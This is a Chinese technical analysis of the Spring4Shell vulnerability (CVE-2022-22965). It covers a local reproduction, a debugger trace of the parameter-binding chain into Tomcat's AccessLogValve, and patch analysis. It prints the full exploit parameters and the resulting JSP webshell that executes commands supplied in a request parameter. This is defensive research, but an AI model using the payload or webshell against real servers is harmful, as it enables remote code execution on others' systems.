4

Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考

 2 years ago
source link: https://paper.seebug.org/1877/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

作者:麦兜
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员进一步研究。

一、前置知识

1.1 SpringMVC参数绑定

为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。之后,Controller方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest中获取请求数据以及类型转换。下面是一个简单的示例:

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
    @RequestMapping("/addUser")
    public @ResponseBody String addUser(User user) {
        return "OK";
    }
}
public class User {
    private String name;
    private Department department;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Department getDepartment() {
        return department;
    }

    public void setDepartment(Department department) {
        this.department = department;
    }
}
public class Department {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

当请求为/addUser?name=test&department.name=SEC时,public String addUser(User user)中的user参数内容如下:

image

可以看到,name自动绑定到了user参数的name属性上,department.name自动绑定到了user参数的department属性的name属性上。

注意department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的:

User.getDepartment()
    Department.setName()

假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:

Param.getFoo()
    Foo.getBar()
        Bar.getBaz()
            Baz.setQux() // 注意这里为set

SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)

1.2 Java Bean PropertyDescriptor

PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。下面是一个简单的例子:

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("foo");

        BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
        PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
        PropertyDescriptor userNameDescriptor = null;
        for (PropertyDescriptor descriptor : descriptors) {
            if (descriptor.getName().equals("name")) {
                userNameDescriptor = descriptor;
                System.out.println("userNameDescriptor: " + userNameDescriptor);
                System.out.println("Before modification: ");
                System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
                userNameDescriptor.getWriteMethod().invoke(user, "bar");
            }
        }
        System.out.println("After modification: ");
        System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
    }
}
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification: 
user.name: foo
After modification: 
user.name: bar

从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。

1.3 Spring BeanWrapperImpl

在Spring中,BeanWrapper接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。

BeanWrapperImpl类是BeanWrapper接口的默认实现,BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象,BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor

import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("foo");
        Department department = new Department();
        department.setName("SEC");
        user.setDepartment(department);

        BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
        userBeanWrapper.setAutoGrowNestedPaths(true);
        System.out.println("userBeanWrapper: " + userBeanWrapper);

        System.out.println("Before modification: ");
        System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
        System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));

        userBeanWrapper.setPropertyValue("name", "bar");
        userBeanWrapper.setPropertyValue("department.name", "IT");

        System.out.println("After modification: ");
        System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
        System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
    }
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification: 
user.name: foo
user.department.name: SEC
After modification: 
user.name: bar
user.department.name: IT

从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。

1.4 Tomcat AccessLogValveaccess_log

Tomcat的Valve用于处理请求和响应,通过组合了多个ValvePipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t "%r" %s %b" />

下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd

二、漏洞复现

2.1 复现环境

  • 操作系统:Ubuntu 18
  • JDK:11.0.14
  • Tomcat:9.0.60
  • SpringBoot:2.6.3

2.2 复现过程

  1. 创建一个maven项目,pom.xml内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.3</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>CVE-2022-22965</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <packaging>war</packaging>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
            <scope>provided</scope>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>
  1. 项目中添加如下代码,作为SpringBoot的启动类:
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;

@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
    @Override
    protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
        return builder.sources(ApplicationMain.class);
    }

    public static void main(String[] args) {
        SpringApplication.run(ApplicationMain.class, args);
    }
}
  1. 将章节1.1 SpringMVC参数绑定中的User类和UserController类添加到项目中。

  2. 执行maven打包命令,将项目打包为war包,命令如下:

mvn clean package
  1. 将项目中target目录里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war,复制到Tomcat的webapps目录下,并启动Tomcat。

  2. https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件,执行如下命令:

python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser
  1. 浏览器中访问http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,复现漏洞。

image

三、漏洞分析

3.1 POC分析

我们从POC入手进行分析。通过对POC中的data URL解码后可以拆分成如下5对参数。

3.1.1 pattern参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern
  • 参数值:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:

User.getClass()
    java.lang.Class.getModule()
        ......
            SomeClass.setPattern()

那实际运行过程中的调用链是怎样的呢?SomeClass是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)上设置断点。

image

经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessor第814行,getPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。

我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。

image

第一轮迭代

进入getPropertyAccessorForPropertyPath(String)方法前: - thisUserBeanWrapperImpl包装实例 - propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern - nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern - nestedPropertyclass,即本轮迭代需要解析的嵌套参数

image

进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImpl第308行,BeanPropertyHandler.getValue()方法中。可以看到class嵌套参数最终通过反射调用User的父类java.lang.Object.getClass(),获得返回java.lang.Class实例。

image

getPropertyAccessorForPropertyPath(String)方法返回后: - thisUserBeanWrapperImpl包装实例 - propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern - nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern,作为下一轮迭代的propertyPath - nestedPropertyclass,即本轮迭代需要解析的嵌套参数 - nestedPajava.lang.ClassBeanWrapperImpl包装实例,作为下一轮迭代的this

image

经过第一轮迭代,我们可以得出第一层调用链:

User.getClass()
    java.lang.Class.get???() // 下一轮迭代实现

第二轮迭代

image

image

image

module嵌套参数最终通过反射调用java.lang.Class.getModule(),获得返回java.lang.Module实例。

经过第二轮迭代,我们可以得出第二层调用链:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.get???() // 下一轮迭代实现

第三轮迭代

image

image

image

classLoader嵌套参数最终通过反射调用java.lang.Module.getClassLoader(),获得返回org.apache.catalina.loader.ParallelWebappClassLoader实例。

经过第三轮迭代,我们可以得出第三层调用链:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现

接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                org.apache.catalina.webresources.StandardRoot.getContext()
                    org.apache.catalina.core.StandardContext.getParent()
                        org.apache.catalina.core.StandardHost.getPipeline()
                            org.apache.catalina.core.StandardPipeline.getFirst()
                                org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValvepattern属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。

我们再来看pattern参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码,可以找到相关的文档:

598fe68b-b0e7-4f9a-b5be-18a42d50dd17.png-w331s

即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。

结合poc.py中headers变量内容:

headers = {"suffix":"%>//",
            "c1":"Runtime",
            "c2":"<%",
            "DNT":"1",
            "Content-Type":"application/x-www-form-urlencoded"
}

最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):

<%
if("j".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
}
%>//

很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。

3.1.2 suffix参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
  • 参数值:.jsp

按照pattern参数相同的调试方法,suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。

3.1.3 directory参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
  • 参数值:webapps/ROOT

按照pattern参数相同的调试方法,directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。

这里提下webapps/ROOT目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/根目录访问。

3.1.4 prefix参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
  • 参数值:tomcatwar

按照pattern参数相同的调试方法,prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀。

3.1.5 fileDateFormat参数

  • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
  • 参数值:空

按照pattern参数相同的调试方法,fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期。

3.1.5 总结

至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

在SpringMVC参数绑定的实际调用链中,有几个关键点直接影响到了漏洞能否成功利用。

3.2 漏洞利用关键点

3.2.1 关键点一:Web应用部署方式

java.lang.Moduleorg.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。

ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader嵌套参数被解析为什么,如下图:

image

可以看到,使用SpringBoot可执行jar包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法。具体源码请参考文章末尾的参考章节。

这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。

3.2.2 关键点二:JDK版本

在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。

Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中:

image

该行的意思是:当Bean的类型为java.lang.Class时,不返回classLoaderprotectionDomainPropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建:

image

不返回,也就意味着class.classLoader...这种嵌套参数走不通,即形如下方的调用链:

Foo.getClass()
    java.lang.Class.getClassLoader()
        BarClassLoader.getBaz()
            ......

这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:

Foo.getClass()
    java.lang.Class.getModule() // 绕过
        java.lang.Module.getClassLoader()
            BarClassLoader.getBaz()
                ......

这就是为什么本漏洞利用条件之二,JDK>=1.9。

四、补丁分析

4.1 Spring 5.3.18补丁

通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor filter的”提交。

image

进入该提交,可以看到对CachedIntrospectionResults构造函数中Java Bean的PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。在章节3.2.2 关键点二:JDK版本中,利用java.lang.Class.getModule()的链路就走不通了。

image

4.2 Tomcat 9.0.62补丁

通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate getResources() and always return null.”提交。

image

进入该提交,可以看到对的返回值做了修改,直接返回nullaParallelWebappClassLoader的父类,在章节3.2.1 关键点一:Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。

image

通过将代码输出到日志文件,并控制日志文件被解释执行,这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件,并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现,也可以通过SQL注入、文件上传漏洞等曲线实现。

与上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服务中间件自身也是用Java编写和运行的,而部署运行在上面的Java Web应用,实际上是Java Web服务中间件进程的一部分,两者间通过Servlet API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力,给予了攻击者可以通过Java Web应用漏洞进而攻击Java Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞,进而修改了Web服务中间件Tomcat的access_log配置内容,直接输出可执行的“日志”文件到Web 应用目录下。

在日常开发中,应该严格控制Web应用可解释执行目录为只读不可写,日志、上传文件等运行期可以修改的目录应该单独设置,并且不可执行。

本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的class.module.classLoader....合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。

本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java 8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1877/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK